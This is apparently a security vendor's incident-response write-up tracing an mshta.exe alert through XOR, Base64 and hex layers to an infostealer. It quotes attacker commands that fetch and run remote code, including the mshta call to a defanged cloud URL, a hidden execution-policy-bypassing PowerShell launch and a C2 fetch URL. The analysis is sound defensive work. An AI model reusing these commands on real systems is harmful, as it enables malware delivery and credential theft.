MSHTA Attack Analysis: How a Blocked Command

Recently, our team came across an alert involving mshta.exe, a native Windows tool that attackers commonly exploit for malicious purposes. MSHTA (Microsoft HTML Application Host) is a well-known LOLBin (Living-Off-The-Land Binary). This means it is a legitimate system tool that can be abused and can blend in with normal activity. MSHTA can execute remote HTML applications or JavaScript content directly from a URL. We have seen an uptick in this type of MSHTA activity, with 6 true positive incidents in Q2 compared to the 1 in Q1 in 2025. When it appears in logs reaching out to suspicious URLs, it deserves immediate attention.

In this case, we received an alarm for a high severity detection leveraging MSHTA. While the initial attempt was ultimately mitigated, meaning the payload didn’t complete execution, it still served as a valuable starting point for a deeper investigation. Even when a malicious file or script doesn’t execute fully, the breadcrumbs it leaves behind can still reveal the attacker’s intent, infrastructure, and tooling. In this article, we will discuss the following:

• The initial command that triggered the alarm
• The obfuscated content we found embedded within
• Why XOR decoding was relevant and how it worked
• The step-by-step decoding journey, from VBScript to PowerShell to final payload
• Why each stage mattered from an investigative standpoint
• The types of actionable intelligence we uncovered along the way

In this real-world example, a single blocked command line led to a full malware chain involving LOLBins, obfuscation, PowerShell payloads, and infostealer malware. By dissecting each stage of the attack, we can use artifacts found to better tune detections, block infrastructure proactively, and improve our response playbooks, even if the immediate threat was mitigated.

The Initial Alert

Fig 1. Initial Alert

The command line from the alert was:

“C:\WINDOWS\system32\mshta.exe” hxxps[://]sync-buffer-data[.]oss-ap-southeast-1[.]aliyuncs[.]com/session_update[.]tmp ;  Access Guard: Ref: 45ab26cf05b6abc95f314d47cf750f

Right away, this command raises several red flags. Threat actors often employ this tactic to gain initial access or execute a script without dropping an actual file to disk. Because it is a Windows system utility, this makes it easier to evade basic signature-based detections and application whitelisting solutions.

In this instance, MSHTA was reaching out to a domain hosted on Alibaba Cloud Object Storage, a legitimate cloud service often repurposed by attackers to host malware under the guise of harmless-looking files. The file being pulled was named “session_update.tmp”, a generic name intended to avoid suspicion. While .tmp files can be used innocuously by applications, they’re also commonly abused in malware delivery chains to mask the true nature of a payload.

Given the potential severity and stealth of this behavior, our next step was to safely inspect the contents of “session_update.tmp”. To do this, we accessed the URL from within a sandboxed environment and captured the file for further static analysis.

The Suspicious Payload

In a sandboxed environment, the “session_update.tmp” file was downloaded and inspected. At first glance, it may have looked benign. The header read:

ISO Media file produced by Google Inc. Created on: 09/15/2024

Fig 2. Header found in original session_update.tmp

This is a textbook example of masquerading, a tactic where malicious content is disguised as something benign to evade detection or mislead analysts. In this case, the attacker mimicked a media file format, likely hoping to avoid scrutiny from both detection systems and human review.

Despite its header, the file was quite large (3,421 KB), with over 67,000 lines and approximately 3.4 million characters. This appeared to be a deliberate attempt to bury the malicious script in noise, making it harder to identify suspicious patterns. This is a common obfuscation strategy used to overwhelm analysts or cause timeouts in automated scanners, forcing a deeper manual investigation to find the actual payload hidden within the clutter.

The next step was to peel back these layers to extract any embedded scripts or suspicious logic concealed beneath the noise.

CyberChef: Finding the Value in the Noise

To begin making sense of the file, we turned to CyberChef, which is an open-source tool for parsing and transforming data. After copying the entire contents of “session_update.tmp” and pasting it into CyberChef, we used the “Find / Replace” operation to strip out non-human-readable characters. This helped reduce the noise and focus in on meaningful strings.

The regular expression we used was:

[^A-Za-z0-9.,!?'”()\[\]:;_\-]

This regex targets and removes any character that isn’t common alphanumeric or punctuation, leaving behind only code, commands, and readable text. By filtering the file this way, we reduced millions of characters into something much more manageable.

Fig 3. Using regex in CyberChef to remove non-human-readable characters

Obfuscation: XOR with 0xFF

With our new, trimmed-down text, we were finally able to start hunting for anything resembling script content. Two things stood out in the cleaned file: a block of obfuscated VBScript, and a particularly revealing function that hinted at how the encoding could be reversed:

Fig 4. Suspicious script found buried within our document

Fig 5. Enlightening line of code found to help us determine de-obfuscation steps

Relevant function calls that caught our attention:

scriptfunctionoigK(kghOD)for(vareIYxu”,cUpB0;cUpBkghOD.length;cUpB2)varvparseInt(kghOD.substr(cUpB,2),16);eIYxuString.fromCharCode(255-v);returneIYxu;

This function performs the following:

• Parses the input hex string two characters at a time
• Converts each pair into an integer using parseInt()
• Subtracts the result from 255 (Alternatively performs an XOR with 0xFF)
• Converts the result into an ASCII character using String.fromCharCode()

Note: Why XOR with 0xFF? XOR’ing a byte with 0xFF (which is 255 in decimal or 11111111 in binary) inverts all its bits. For example, if a byte is 01010101 and you XOR it with 11111111, the result is 10101010 which is a full inversion. Mathematically, this has the same effect as subtracting the original byte value from 255, which is what makes 255 – v (from script) and v XOR 0xFF equivalent in this case.

After identifying this logic, we were able to reconstruct the decoding steps in CyberChef using a combination of “From Hex” followed by XOR with a key of 0xFF (255). This transformation immediately yielded a more legible chunk of script, our next payload:

Fig 6. Using From Hex followed by XOR with a key of 0xFF (255) in CyberChef to de-obfuscate code

From VBScript to PowerShell to C2

After using decoding logic, we uncovered a new, more readable payload. As seen in the CyberChef output in Fig 5., this payload invoked powershell.exe through Windows Management Instrumentation (WMI) using VBScript’s GetObject(“winmgmts:”) and Create(“powershell.exe”) methods:

powershell.exe -w hidden -nop -ep bypass -e [Base64Payload]

This command tells PowerShell to execute in hidden mode (-w hidden), without loading a profile (-nop), with execution policy bypassed (-ep bypass), and to decode and execute the supplied Base64-encoded script (-e).

The next stage was to decode this Base64 payload, which we also performed in CyberChef using the “From Base64” operation. This revealed another layer of obfuscation – a PowerShell script that further transformed data by splitting a hex-encoded string and converting it to characters. This was achieved with the following command:

-split ‘(?<=\G..)’ | % { [char]([convert]::ToInt32($_,16)) } -join

Fig 7. Using From Base64 in CyberChef to de-obfuscate code

In short, this decoding logic does the following:

• Splits the string into 2-character chunks using regex lookbehind.
• Converts each 2-character chunk from hex to its decimal equivalent using ToInt32($_,16).
• Casts the result into ASCII characters using [char].
• Joins all resulting characters back together into a readable script or command.

This layering shows how attackers use multiple simple transformations to delay detection and analysis. By combining VBScript with WMI and PowerShell, the attacker avoided dropping traditional executables and instead chained together native system utilities which is a common Living-Off-The-Land tactic.

Final Stage: From Hex to Command & Control

After decoding the previous Base64 PowerShell payload, we uncovered yet another layer of obfuscation: a hex-encoded PowerShell script, which we decoded using the “From Hex” operation in CyberChef.

Fig 8. Using From Hex in CyberChef to de-obfuscate code

The decoded script sets up a WebClient object and constructs a follow-up command to fetch remote content from the URL:

hxxp://w[.]cylinderacronym[.]top/wdgts_conf.json

This is an indication of a command-and-control (C2) callback. The malware is now reaching out to fetch its final instructions or additional payload components from a malicious server.

What makes this particularly interesting is the level of obfuscation seen in the final payload hosted at “wdgts_conf.json”. As seen in the browser screenshot below, the contents of the file are heavily obfuscated using randomized variable names, character manipulation, and arithmetic-based encoding:

Fig 9. Highly obfuscated payload within wdgts_conf.json

Each line appears to perform arithmetic operations on character values, a common technique in JavaScript malware or PowerShell loaders to avoid direct use of strings. This layer is likely designed to reconstruct another script in memory, making detection by static scanners much more difficult. At this point, manual analysis becomes more time-consuming and less efficient. While we could step through and decode the logic line by line, this is where sandbox analysis tools become invaluable for simulating execution and extracting runtime behavior without the need to unpack every single line by hand.

What Happened Next

Once we had isolated the final stage payload, we submitted it to Joe Sandbox, an automated malware analysis platform. This executed the full malware chain in a controlled environment and produced a comprehensive report with high-confidence results:

Fig 10. Screenshot of Joe Sandbox report

Joe Sandbox uncovered a wide range of suspicious and malicious behavior, including:

• Suricata IDS alerts triggered by known malicious network traffic

• Bypassing PowerShell execution policies, enabling the script to run unrestricted

• Hardware and BIOS interrogation, commonly used for virtual machine detection or sandbox evasion

• Credential harvesting, targeting:

• Browsers (saved passwords, session data)
• FTP clients
• Stored Windows credentials

• Cryptocurrency wallet targeting, a hallmark of modern stealer malware

• Costura Assembly Loader detection, suggesting the use of a custom-packed executable to bundle malicious components and evade static detection

• Persistence mechanisms, which allow the malware to survive system reboots and maintain long-term access

The Final Payload: Stealer Malware

Based on analysis in Joe Sandbox, the final payload fetched from w[.]cylinderacronym[.]top was a highly capable information stealer. Its functionality included:

• Browser data exfiltration, including saved credentials and history
• FTP and email credential theft, potentially enabling lateral movement or further compromise
• Cryptocurrency wallet theft, likely targeting wallet.dat files and browser-based wallets
• Possible password manager targeting, based on registry and process activity
• Anti-analysis techniques, including VM awareness and sandbox evasion to avoid detection in automated environments

Together, these behaviors indicate this is a sophisticated infostealer built for silent data harvesting and long-term compromise. This is the kind of malware that can remain hidden for weeks or months if not caught early.

Lessons Learned

In the world of incident response, it’s easy to stop once a malicious indicator is confirmed, especially if the activity was successfully blocked or mitigated. But as we have just demonstrated, following the full execution chain can uncover the broader scope and true objectives of an attack.

What started as a simple MSHTA command line evolved into a full investigation, revealing a multi-layered malware delivery system and a final payload capable of exfiltrating sensitive data.

This investigation reinforced several key takeaways:

• Obfuscation techniques are layered and deliberate, including XOR encoding, hex transformation, and base64, each designed to evade detection and exhaust analysis attempts.
• Living-off-the-land binaries (LOLBins) like mshta.exe, powershell.exe, and WMI remain essential tools for attackers in early-stage delivery due to their trusted status and deep system integration.
• CyberChef proved invaluable, allowing quick and transparent transformations that made sense of otherwise unreadable data. Its flexibility as a decoding and deobfuscation tool makes it a must-have for any responder or researcher.
• Automated sandboxing tools like Joe Sandbox filled critical gaps. When time or complexity becomes a barrier to manual decoding, these platforms reveal real-world behavior and surface IOCs, TTPs, and potential.

Final Thoughts

You don’t have to de-obfuscate every script manually but doing this can sharpen your intuition and help you grow more fluent in attacker tactics. Over time, you will notice patterns: reused functions, familiar encoding tricks, and telltale behaviors that accelerate your analysis and response.

Learning to spot these tactics, from clever regex evasion to XOR-based decoding, isn’t just about solving today’s alert. It’s about preparing for tomorrow’s attack. When you understand how attackers think, you can detect threats faster, respond smarter, and strengthen your defenses before the next payload even lands.

The content provided herein is for general informational purposes only and should not be construed as legal, regulatory, compliance, or cybersecurity advice. Organizations should consult their own legal, compliance, or cybersecurity professionals regarding specific obligations and risk management strategies. While LevelBlue’s Managed Threat Detection and Response solutions are designed to support threat detection and response at the endpoint level, they are not a substitute for comprehensive network monitoring, vulnerability management, or a full cybersecurity program.